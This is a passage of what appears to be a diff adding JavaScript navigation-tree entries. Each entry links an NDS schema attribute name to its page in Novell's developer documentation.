+ var navElement = navigationLink("Delivery Methods Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("displayName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Employee ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1114.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:AttributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1204.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1210.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1300.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI Security Scheme ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1306.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("jpegPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onfdu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("labeledUri ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onkke.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1372.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ldapPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3op8zp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAPUserCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1504.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:ARL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:caCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:CRL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1534.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Authorized Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2co5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Default Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cob.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Domain Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2coh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2con.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Proposed Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed Units ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1774.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1780.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Accountant Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1792.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Control Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1798.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1804.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Data Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Index Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1816.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1822.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Public Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1828.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1834.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Manager Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1840.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Operator Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1852.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1858.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Queue List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1864.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Siblings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Public Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1876.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Replace All Client Printers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1882.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS SMTP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1888.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS User Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1894.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attribute Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1912.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1918.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Catalog Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1924.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual End Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1930.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1936.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Object Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1942.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Return Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1948.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1954.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1960.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1966.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Value Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1978.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:AttrDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1984.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1990.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Auto Dredge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1996.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2002.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:CatalogDB ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Dredge Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:IndexDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4020.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Indexes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4026.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4032.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Log ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4038.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4044.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4050.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Retries ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Threads ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4062.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Retry Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4068.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4080.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4086.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4092.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Synch Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4098.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Common Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4200.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4206.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4212.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4218.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4224.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Hourly Data Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4230.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4236.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4242.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Service Provider ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4248.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:LSP Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4254.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4260.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Installed Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4266.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Used Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4272.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4278.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Publisher ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4284.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4290.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Search Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4296.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Update Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4302.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4308.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4320.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4326.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4332.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Consumers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4344.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4350.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4356.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4362.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4368.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NRD:Registry Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NRD:Registry Index ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4494.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4500.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4506.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4512.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
